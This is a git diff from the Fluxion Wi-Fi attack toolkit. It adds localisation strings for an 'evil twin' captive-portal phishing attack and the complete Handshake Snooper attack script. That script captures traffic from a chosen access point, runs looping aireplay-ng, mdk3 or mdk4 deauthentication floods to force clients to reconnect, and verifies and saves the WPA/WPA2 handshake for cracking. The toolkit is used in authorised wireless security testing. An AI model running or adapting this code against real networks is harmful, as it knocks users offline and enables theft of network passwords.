Portal/language/sl.sh new file mode 100755 index 0000000..2ad2a30 --- /dev/null +++ b/attacks/Captive Portal/language/sl.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Zaprti Portal +# description: Creates an "evil twin" access point. (translation?) + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Unable to start captive portal interface$CClr, returning!" +CaptivePortalStaringAPServiceNotice="Starting Captive Portal access point service..." +CaptivePortalStaringAPRoutesNotice="Starting Captive Portal access point routes..." +CaptivePortalStartingDHCPServiceNotice="Starting access point DHCP service as daemon..." +CaptivePortalStartingDNSServiceNotice="Starting access point DNS service as daemon..." +CaptivePortalStartingWebServiceNotice="Starting access point captive portal as daemon..." +CaptivePortalStartingJammerServiceNotice="Starting access point jammer as daemon..." +CaptivePortalStartingAuthenticatorServiceNotice="Starting authenticator script..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="METODA PREVERITVE GESLA" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Select SSL certificate source for captive portal." +CaptivePortalCertificateSourceGenerateOption="Create an SSL certificate" +CaptivePortalCertificateSourceRescanOption="Detect SSL certificate (${CClr}search again$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Select a captive portal interface for the rogue network." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/tk.sh b/attacks/Captive Portal/language/tk.sh new file mode 100755 index 0000000..deb6128 --- /dev/null +++ b/attacks/Captive Portal/language/tk.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: Esaret Portalı +# description: "Kötü ikiz" bir erişim noktası oluşturur. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}Esaret Portali arayuzu baslatilamadi$CClr, geri donuluyor!" +CaptivePortalStaringAPServiceNotice="Esaret Portali Erisim Noktasi servisi baslatiliyor..." +CaptivePortalStaringAPRoutesNotice="Esaret Portali Erisim Noktasi yonlendirmeleri baslatiliyor..." +CaptivePortalStartingDHCPServiceNotice="Erisim noktasi DHCP servisi daemon olarak baslatiliyor..." +CaptivePortalStartingDNSServiceNotice="Erisim noktasi DNS servisi deamon olarak baslatiliyor..." +CaptivePortalStartingWebServiceNotice="Erisim noktasi Esaret Portali deamon olarak baslatiliyor..." +CaptivePortalStartingJammerServiceNotice="Erisim noktasi jammer deamon olarak baslatiliyor..." +CaptivePortalStartingAuthenticatorServiceNotice="Dogrulayici kodu baslatiliyor..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="Sifre dogrulama methodu seciniz" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="Esaret Portali icin SSL sertifika kaynagi seciniz." +CaptivePortalCertificateSourceGenerateOption="SSL sertifikasi olustur" +CaptivePortalCertificateSourceRescanOption="SSL sertifikasi belirle (${CClr}tekrar ara$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="Duzenbaz ag icin Esaret Portali arayuzu seciniz." +CaptivePortalGenericInterfaceOption="Generic Portal" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="Select an internet connectivity type for the rogue network." +CaptivePortalConnectivityDisconnectedOption="disconnected (${CGrn}recommended$CClr)" +CaptivePortalConnectivityEmulatedOption="emulated" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Captive Portal/language/zh.sh b/attacks/Captive Portal/language/zh.sh new file mode 100755 index 0000000..7ce35ce --- /dev/null +++ b/attacks/Captive Portal/language/zh.sh @@ -0,0 +1,35 @@ +#!/usr/bin/env bash +# identifier: 专属门户 +# description: 创建一个“邪恶的双胞胎”接入点。 + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalJammerInterfaceQuery="Select an interface for jamming." +CaptivePortalAccessPointInterfaceQuery="Select an interface for the access point." +CaptivePortalCannotStartInterfaceError="${CRed}无法启动网络功击接口$CClr, 返回" +CaptivePortalStaringAPServiceNotice="开始建立钓鱼热点AP..." +CaptivePortalStaringAPRoutesNotice="启动钓鱼热点AP路由服务..." +CaptivePortalStartingDHCPServiceNotice="启动接入点DHCP服务作为守护进程..." +CaptivePortalStartingDNSServiceNotice="启动接入点DNS服务作为守护进程..." +CaptivePortalStartingWebServiceNotice="启动钓鱼热点作为守护进程..." +CaptivePortalStartingJammerServiceNotice="启动接入点干扰器作为守护进程..." +CaptivePortalStartingAuthenticatorServiceNotice="启动验证器脚本..." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalAPServiceQuery="Select an access point service" +CaptivePortalAPServiceHostapdOption="Rogue AP - hostapd (${CGrn}recommended$CClr)" +CaptivePortalAPServiceAirbaseOption="Rogue AP - airbase-ng (${CYel}slow$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalVerificationMethodQuery="请选择验证密码方式" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalCertificateSourceQuery="选择钓鱼认证门户的SSL证书来源" +CaptivePortalCertificateSourceGenerateOption="创建SSL证书" +CaptivePortalCertificateSourceRescanOption="检测SSL证书 (${CClr}再次搜索$CGry)" +CaptivePortalCertificateSourceDisabledOption="None (${CYel}disable SSL$CGry)" +CaptivePortalUIQuery="选择钓鱼热点的认证网页界面" +CaptivePortalGenericInterfaceOption="通用认证网页" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +CaptivePortalConnectivityQuery="为流氓网络选择Internet连接类型" +CaptivePortalConnectivityDisconnectedOption="断开原网络 (${CGrn}推荐$CClr)" +CaptivePortalConnectivityEmulatedOption="仿真" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/attack.sh b/attacks/Handshake Snooper/attack.sh new file mode 100755 index 0000000..53c90a2 --- /dev/null +++ b/attacks/Handshake Snooper/attack.sh @@ -0,0 +1,501 @@ +#!/usr/bin/env bash + +# ============================================================ # +# ============= < Handshake Snooper Parameters > ============= # +# ============================================================ # + +HandshakeSnooperState="Not Ready" + +# ============================================================ # +# ========= < Handshake Snooper Helper Subroutines > ========= # +# ============================================================ # +handshake_snooper_header() { + fluxion_header; fluxion_target_show; echo +} + +# ============================================================ # +# ============= < Handshake Snooper Subroutines > ============ # +# ============================================================ # +handshake_snooper_arbiter_daemon() { + if [ ${#@} -lt 1 -o "$HandshakeSnooperState" != "Running" ]; then + return 1; + fi + + # Start daemon in the running state to continue execution until aborted, + # or until a hash has been verified to exist in the capture file. + # NOTE: The line below must remain before trap to prevent race conditions. + local handshake_snooper_arbiter_daemon_state="running" + + handshake_snooper_arbiter_daemon_abort() { + handshake_snooper_arbiter_daemon_state="aborted" + if [ "$handshake_snooper_arbiter_daemon_viewerPID" ]; then + kill $handshake_snooper_arbiter_daemon_viewerPID + fi + + handshake_snooper_stop_deauthenticator + handshake_snooper_stop_captor + + local -r now=$(env -i date '+%H:%M:%S') + echo -e "[$now] $HandshakeSnooperArbiterAbortedWarning" >> \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + exit 2 + } + + trap handshake_snooper_arbiter_daemon_abort SIGABRT + + source "$FLUXIONLibPath/HashUtils.sh" + source "$FLUXIONLibPath/ColorUtils.sh" + + # Cleanup files we've previously created to avoid conflicts. + sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/dump-*" + + # Display some feedback to the user to assure verifier is working. + xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg "#000000" -fg "#CCCCCC" \ + -title "Handshake Snooper Arbiter Log" -e \ + "tail -f \"$FLUXIONWorkspacePath/handshake_snooper.log\"" & + local handshake_snooper_arbiter_daemon_viewerPID=$! + + local now=$(env -i date '+%H:%M:%S') + echo -e "[$now] $HandshakeSnooperStartingArbiterNotice" > \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + + handshake_snooper_start_captor + handshake_snooper_start_deauthenticator + + local handshake_snooper_arbiter_daemon_verified=1 # Assume it hasn't been verified yet (1 => false/error). + + # Keep snooping and verifying until we've got a valid hash from the capture file. + while [ $handshake_snooper_arbiter_daemon_verified -ne 0 ]; do + now=$(env -i date '+%H:%M:%S') + echo -e "[$now] $(io_dynamic_output $HandshakeSnooperSnoopingForNSecondsNotice)" >> \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + sleep $HandshakeSnooperVerifierInterval & + wait $! # Using wait to asynchronously catch flags while waiting. + + # If synchronously searching, stop the captor and deauthenticator before checking. + if [ "$HandshakeSnooperVerifierSynchronicity" = "blocking" ]; then + now=$(env -i date '+%H:%M:%S') + echo -e "[$now] $HandshakeSnooperStoppingForVerifierNotice" >> \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + handshake_snooper_stop_deauthenticator + handshake_snooper_stop_captor + mv "$FLUXIONWorkspacePath/capture/dump-01.cap" \ + "$FLUXIONWorkspacePath/capture/recent.cap" + else + pyrit -r "$FLUXIONWorkspacePath/capture/dump-01.cap" \ + -o "$FLUXIONWorkspacePath/capture/recent.cap" stripLive &> \ + $FLUXIONOutputDevice + fi + + now=$(env -i date '+%H:%M:%S') + echo -e "[$now] $HandshakeSnooperSearchingForHashesNotice" >> \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + hash_check_handshake "$HandshakeSnooperVerifierIdentifier" \ + "$FLUXIONWorkspacePath/capture/recent.cap" \ + "$FluxionTargetSSID" "$FluxionTargetMAC" + handshake_snooper_arbiter_daemon_verified=$? + + # If synchronously searching, restart the captor and deauthenticator after checking. + if [ "$HandshakeSnooperVerifierSynchronicity" = "blocking" -a \ + $handshake_snooper_arbiter_daemon_verified -ne 0 ]; then + sandbox_remove_workfile "$FLUXIONWorkspacePath/capture/*" + + handshake_snooper_start_captor + handshake_snooper_start_deauthenticator + fi + done + + # Assure all processes are stopped before proceeding. + handshake_snooper_stop_deauthenticator + handshake_snooper_stop_captor + + local completionTime=$(env -i date '+%H:%M:%S') + echo -e "[$completionTime] $HandshakeSnooperArbiterSuccededNotice" >> \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + echo -e "[$completionTime] $HandshakeSnooperArbiterCompletedTip" >> \ + "$FLUXIONWorkspacePath/handshake_snooper.log" + + # Assure we've got a directory to store hashes into. + mkdir -p "$FLUXIONPath/attacks/Handshake Snooper/handshakes/" + + # Move handshake to storage if one was acquired. + mv "$FLUXIONWorkspacePath/capture/recent.cap" \ + "$FLUXIONPath/attacks/Handshake Snooper/handshakes/$FluxionTargetSSIDClean-$FluxionTargetMAC.cap" + + # Signal parent process the verification terminated. + kill -s SIGABRT $1 +} + +handshake_snooper_stop_captor() { + if [ "$HandshakeSnooperCaptorPID" ]; then + kill -s SIGINT $HandshakeSnooperCaptorPID &> $FLUXIONOutputDevice + fi + + HandshakeSnooperCaptorPID="" +} + +handshake_snooper_start_captor() { + if [ "$HandshakeSnooperCaptorPID" ]; then return 0; fi + if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi + + handshake_snooper_stop_captor + + xterm $FLUXIONHoldXterm -title "Handshake Captor (CH $FluxionTargetChannel)" \ + $TOPLEFT -bg "#000000" -fg "#FFFFFF" -e \ + airodump-ng --ignore-negative-one -d $FluxionTargetMAC -w "$FLUXIONWorkspacePath/capture/dump" -c $FluxionTargetChannel -a $HandshakeSnooperJammerInterface & + local parentPID=$! + + while [ ! "$HandshakeSnooperCaptorPID" ]; do + sleep 1 & + wait $! + HandshakeSnooperCaptorPID=$(pgrep -P $parentPID) + done +} + +handshake_snooper_stop_deauthenticator() { + if [ "$HandshakeSnooperDeauthenticatorPID" ]; then + kill $HandshakeSnooperDeauthenticatorPID &> $FLUXIONOutputDevice + fi + + HandshakeSnooperDeauthenticatorPID="" +} + +handshake_snooper_start_deauthenticator() { + if [ "$HandshakeSnooperDeauthenticatorPID" ]; then return 0; fi + if [ "$HandshakeSnooperState" != "Running" ]; then return 1; fi + + handshake_snooper_stop_deauthenticator + + # Prepare deauthenticators + case "$HandshakeSnooperDeauthenticatorIdentifier" in + "$HandshakeSnooperMdk3MethodOption") + echo "$FluxionTargetMAC" > $FLUXIONWorkspacePath/mdk3_blacklist.lst ;; + esac + + # Start deauthenticators. + case "$HandshakeSnooperDeauthenticatorIdentifier" in + "$HandshakeSnooperAireplayMethodOption") + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ + -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ + "while true; do sleep 7; timeout 3 aireplay-ng --deauth=100 -a $FluxionTargetMAC --ignore-negative-one $HandshakeSnooperJammerInterface; done" & + HandshakeSnooperDeauthenticatorPID=$! + ;; + "$HandshakeSnooperMdk3MethodOption") + if ! [ -x "$(command -v mdk4)" ];then + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ + -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ + "while true; do sleep 7; timeout 3 mdk3 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & + HandshakeSnooperDeauthenticatorPID=$! + else + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" \ + -title "Deauthenticating all clients on $FluxionTargetSSID" -e \ + "while true; do sleep 7; timeout 3 mdk4 $HandshakeSnooperJammerInterface d -b $FLUXIONWorkspacePath/mdk3_blacklist.lst -c $FluxionTargetChannel; done" & + HandshakeSnooperDeauthenticatorPID=$! + fi + + ;; + esac +} + + +handshake_snooper_unset_deauthenticator_identifier() { + if [ ! "$HandshakeSnooperDeauthenticatorIdentifier" ]; then return 1; fi + HandshakeSnooperDeauthenticatorIdentifier="" +} + +handshake_snooper_set_deauthenticator_identifier() { + if [ "$HandshakeSnooperDeauthenticatorIdentifier" ]; then return 0; fi + + handshake_snooper_unset_deauthenticator_identifier + + local methods=( + "$HandshakeSnooperMonitorMethodOption" + "$HandshakeSnooperAireplayMethodOption" + "$HandshakeSnooperMdk3MethodOption" + "$FLUXIONGeneralBackOption" + ) + io_query_choice "$HandshakeSnooperMethodQuery" methods[@] + + HandshakeSnooperDeauthenticatorIdentifier=$IOQueryChoice + + echo + + if [ "$HandshakeSnooperDeauthenticatorIdentifier" = \ + "$FLUXIONGeneralBackOption" ]; then + handshake_snooper_unset_deauthenticator_identifier + return 1 + fi +} + +handshake_snooper_unset_jammer_interface() { + HandshakeSnooperJammerInterfaceOriginal="" + + if [ ! "$HandshakeSnooperJammerInterface" ]; then return 1; fi + HandshakeSnooperJammerInterface="" + + # Check if we're automatically selecting the interface & skip + # this one if so to take the user back properly. + local interfacesAvailable + readarray -t interfacesAvailable < <(attack_targetting_interfaces) + + if [ ${#interfacesAvailable[@]} -le 1 ]; then return 2; fi +} + +handshake_snooper_set_jammer_interface() { + if [ "$HandshakeSnooperJammerInterface" ]; then return 0; fi + + # NOTICE: The code below should be excluded because the interface selected + # below is also being used as the monitoring interface (required)! + #if [ "$HandshakeSnooperDeauthenticatorIdentifier" = \ + # "$HandshakeSnooperMonitorMethodOption" ]; then return 0; fi + + if [ ! "$HandshakeSnooperJammerInterfaceOriginal" ]; then + echo "Running get jammer interface." > $FLUXIONOutputDevice + if ! fluxion_get_interface attack_targetting_interfaces \ + "$HandshakeSnooperJammerInterfaceQuery"; then + echo "Failed to get jammer interface" > $FLUXIONOutputDevice + return 1 + fi + HandshakeSnooperJammerInterfaceOriginal=$FluxionInterfaceSelected + fi + + local selectedInterface=$HandshakeSnooperJammerInterfaceOriginal + + if ! fluxion_allocate_interface $selectedInterface; then + echo "Failed to allocate jammer interface" > $FLUXIONOutputDevice + return 2 + fi + + echo "Succeeded get jammer interface." > $FLUXIONOutputDevice + HandshakeSnooperJammerInterface=${FluxionInterfaces[$selectedInterface]} +} + +handshake_snooper_unset_verifier_identifier() { + if [ ! "$HandshakeSnooperVerifierIdentifier" ]; then return 1; fi + HandshakeSnooperVerifierIdentifier="" +} + +handshake_snooper_set_verifier_identifier() { + if [ "$HandshakeSnooperVerifierIdentifier" ]; then return 0; fi + + handshake_snooper_unset_verifier_identifier + + local choices=( + "$FLUXIONHashVerificationMethodPyritOption" + "$FLUXIONHashVerificationMethodAircrackOption" + "$FLUXIONHashVerificationMethodCowpattyOption" + "$FLUXIONGeneralBackOption" + ) + io_query_choice "$FLUXIONHashVerificationMethodQuery" choices[@] + + echo + + case "$IOQueryChoice" in + "$FLUXIONHashVerificationMethodPyritOption") + HandshakeSnooperVerifierIdentifier="pyrit" ;; + "$FLUXIONHashVerificationMethodAircrackOption") + HandshakeSnooperVerifierIdentifier="aircrack-ng" ;; + "$FLUXIONHashVerificationMethodCowpattyOption") + HandshakeSnooperVerifierIdentifier="cowpatty" ;; + "$FLUXIONGeneralBackOption") + handshake_snooper_unset_verifier_identifier + return 1 + ;; + esac +} + +handshake_snooper_unset_verifier_interval() { + if [ ! "$HandshakeSnooperVerifierInterval" ]; then return 1; fi + HandshakeSnooperVerifierInterval="" +} + +handshake_snooper_set_verifier_interval() { + if [ "$HandshakeSnooperVerifierInterval" ]; then return 0; fi + + handshake_snooper_unset_verifier_interval + + local choices=("$HandshakeSnooperVerifierInterval30SOption" "$HandshakeSnooperVerifierInterval60SOption" "$HandshakeSnooperVerifierInterval90SOption" "$FLUXIONGeneralBackOption") + io_query_choice "$HandshakeSnooperVerifierIntervalQuery" choices[@] + + case "$IOQueryChoice" in + "$HandshakeSnooperVerifierInterval30SOption") + HandshakeSnooperVerifierInterval=30 ;; + "$HandshakeSnooperVerifierInterval60SOption") + HandshakeSnooperVerifierInterval=60 ;; + "$HandshakeSnooperVerifierInterval90SOption") + HandshakeSnooperVerifierInterval=90 ;; + "$FLUXIONGeneralBackOption") + handshake_snooper_unset_verifier_interval + return 1 + ;; + esac +} + +handshake_snooper_unset_verifier_synchronicity() { + if [ ! "$HandshakeSnooperVerifierSynchronicity" ]; then return 1; fi + HandshakeSnooperVerifierSynchronicity="" +} + +handshake_snooper_set_verifier_synchronicity() { + if [ "$HandshakeSnooperVerifierSynchronicity" ]; then return 0; fi + + handshake_snooper_unset_verifier_synchronicity + + local choices=( + "$HandshakeSnooperVerifierSynchronicityAsynchronousOption" + "$HandshakeSnooperVerifierSynchronicitySynchronousOption" + "$FLUXIONGeneralBackOption" + ) + + io_query_choice "$HandshakeSnooperVerifierSynchronicityQuery" choices[@] + + case "$IOQueryChoice" in + "$HandshakeSnooperVerifierSynchronicityAsynchronousOption") + HandshakeSnooperVerifierSynchronicity="non-blocking" ;; + "$HandshakeSnooperVerifierSynchronicitySynchronousOption") + HandshakeSnooperVerifierSynchronicity="blocking" ;; + "$FLUXIONGeneralBackOption") + handshake_snooper_unset_verifier_synchronicity + return 1 + ;; + esac +} + + +# ============================================================ # +# =================== < Parse Parameters > =================== # +# ============================================================ # +if [ ! "$HandshakeSnooperCLIArguments" ]; then + if ! HandshakeSnooperCLIArguments=$( + getopt --options="v:i:j:a" \ + --longoptions="verifier:,interval:,jammer:,asynchronous" \ + --name="Handshake Snooper V$FLUXIONVersion.$FLUXIONRevision" -- "$@" + );then + echo -e "${CRed}Aborted$CClr, parameter error detected..." + sleep 5 + fluxion_handle_exit + fi + + declare -r HandshakeSnooperCLIArguments=$HandshakeSnooperCLIArguments + + eval set -- "$HandshakeSnooperCLIArguments" # Set environment parameters. +fi + + +# ============================================================ # +# ============= < Argument Loaded Configurables > ============ # +# ============================================================ # +while [ "$1" != "" -a "$1" != "--" ]; do + case "$1" in + -v|--verifier) + HandshakeSnooperVerifierIdentifier=$2; shift;; + -i|--interval) + HandshakeSnooperVerifierInterval=$2; shift;; + -j|--jammer) + HandshakeSnooperJammerInterfaceOriginal=$2; shift;; + -a|--asynchronous) + HandshakeSnooperVerifierSynchronicity="non-blocking";; + esac + shift # Shift new parameters +done + + +# ============================================================ # +# ===================== < Fluxion Hooks > ==================== # +# ============================================================ # +attack_targetting_interfaces() { + interface_list_wireless + local interface + for interface in "${InterfaceListWireless[@]}"; do + echo "$interface" + done +} + +attack_tracking_interfaces() { + interface_list_wireless + local interface + for interface in "${InterfaceListWireless[@]}"; do + echo "$interface" + done + echo "" # This enables the Skip option. +} + +unprep_attack() { + HandshakeSnooperState="Not Ready" + + handshake_snooper_unset_verifier_synchronicity + handshake_snooper_unset_verifier_interval + handshake_snooper_unset_verifier_identifier + handshake_snooper_unset_jammer_interface + handshake_snooper_unset_deauthenticator_identifier + + sandbox_remove_workfile "$FLUXIONWorkspacePath/capture" +} + +prep_attack() { + mkdir -p "$FLUXIONWorkspacePath/capture" + + IOUtilsHeader="handshake_snooper_header" + + # Removed read-only due to local constant shadowing bug. + # I've reported the bug, we can add it when fixed. + local sequence=( + "set_deauthenticator_identifier" + "set_jammer_interface" + "set_verifier_identifier" + "set_verifier_interval" + "set_verifier_synchronicity" + ) + + if ! fluxion_do_sequence handshake_snooper sequence[@]; then + return 1 + fi + + HandshakeSnooperState="Ready" +} + +load_attack() { + local -r configurationPath=$1 + + local configuration + readarray -t configuration < <(more "$configurationPath") + + HandshakeSnooperDeauthenticatorIdentifier=${configuration[0]} + HandshakeSnooperJammerInterfaceOriginal=${configuration[1]} + HandshakeSnooperVerifierIdentifier=${configuration[2]} + HandshakeSnooperVerifierInterval=${configuration[3]} + HandshakeSnooperVerifierSynchronicity=${configuration[4]} +} + +save_attack() { + local -r configurationPath=$1 + + # Store/overwrite attack configuration for pause & resume. + # Order: DeauthID, JammerWI, VerifId, VerifInt, VerifSync + echo "$HandshakeSnooperDeauthenticatorIdentifier" > "$configurationPath" + echo "$HandshakeSnooperJammerInterfaceOriginal" >> "$configurationPath" + echo "$HandshakeSnooperVerifierIdentifier" >> "$configurationPath" + echo "$HandshakeSnooperVerifierInterval" >> "$configurationPath" + echo "$HandshakeSnooperVerifierSynchronicity" >> "$configurationPath" +} + +stop_attack() { + if [ "$HandshakeSnooperArbiterPID" ]; then + kill -s SIGABRT $HandshakeSnooperArbiterPID &> $FLUXIONOutputDevice + fi + + HandshakeSnooperArbiterPID="" + + HandshakeSnooperState="Stopped" +} + +start_attack() { + if [ "$HandshakeSnooperState" = "Running" ]; then return 0; fi + if [ "$HandshakeSnooperState" != "Ready" ]; then return 1; fi + HandshakeSnooperState="Running" + + handshake_snooper_arbiter_daemon $$ &> $FLUXIONOutputDevice & + HandshakeSnooperArbiterPID=$! +} + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/ar.sh b/attacks/Handshake Snooper/language/ar.sh new file mode 100644 index 0000000..c5585cc --- /dev/null +++ b/attacks/Handshake Snooper/language/ar.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquires WPA/WPA2 encryption hashes. + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="إختر بطاقة شبكة من أجل المراقبة والتشويش." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="إختر طريقة لاسترجاع المصافحة" +HandshakeSnooperMonitorMethodOption="مراقبة (${CYel}passive$CClr)" +HandshakeSnooperAireplayMethodOption="الغاء المصادقة aireplay-ng (${CRed}aggressive$CClr)" +HandshakeSnooperMdk3MethodOption="الغاء المصادقة mdk3 (${CRed}aggressive$CClr)" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierIntervalQuery="كم مرة يجب على المدقق التحقق من المصافحة؟" +HandshakeSnooperVerifierInterval30SOption="كل 30 ثانية (${CGrn}مستحسن${CClr})." +HandshakeSnooperVerifierInterval60SOption="كل 60 ثانية." +HandshakeSnooperVerifierInterval90SOption="كل 90 ثانية." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperVerifierSynchronicityQuery="كيف ينبغي على التحقق ان يحدث؟" +HandshakeSnooperVerifierSynchronicityAsynchronousOption="غير تزامني (${CYel}للأنظمةالسريعة فقط${CClr})." +HandshakeSnooperVerifierSynchronicitySynchronousOption="تزامني (${CGrn}مستحسن${CClr})." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperStartingArbiterNotice="${CCyn}متطفل المصافحة$CClr يشتغل." +HandshakeSnooperSnoopingForNSecondsNotice="التطفل لـ \$HandshakeSnooperVerifierInterval ثواني." +HandshakeSnooperStoppingForVerifierNotice="وقف المتطفل والتحقق من وجود التجزئة." +HandshakeSnooperSearchingForHashesNotice="البحث عن التجزئات في ملف الالتقاط." +HandshakeSnooperArbiterAbortedWarning="${CYel}تم الإحباط${CClr}: تم إحباط العملية ، ولم يتم العثور على تجزئة صالحة." +HandshakeSnooperArbiterSuccededNotice="${CGrn}نجاح${CClr}: تم الكشف عن تجزئة صالحة وحفظها إلى قاعدة بيانات فلاكسيون." +HandshakeSnooperArbiterCompletedTip="${CBCyn}متطفل المصافحة$CBYel اكتمل الهجوم ، أغلق هذه النافذة وابدأ في هجوم آخر.$CClr" +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> + +# FLUXSCRIPT END diff --git a/attacks/Handshake Snooper/language/cs.sh b/attacks/Handshake Snooper/language/cs.sh new file mode 100755 index 0000000..2bc3269 --- /dev/null +++ b/attacks/Handshake Snooper/language/cs.sh @@ -0,0 +1,31 @@ +#!/usr/bin/env bash +# identifier: Handshake Snopper +# description: Acquires WPA/WPA2 encryption hashes. (translate) + +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperJammerInterfaceQuery="Select an interface for monitoring & jamming." +# >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> +HandshakeSnooperMethodQuery="Select a method of handshake retrieval" +HandshakeSnooperMonitorMethodOption="Monitor (${CYel}passive$CClr)" 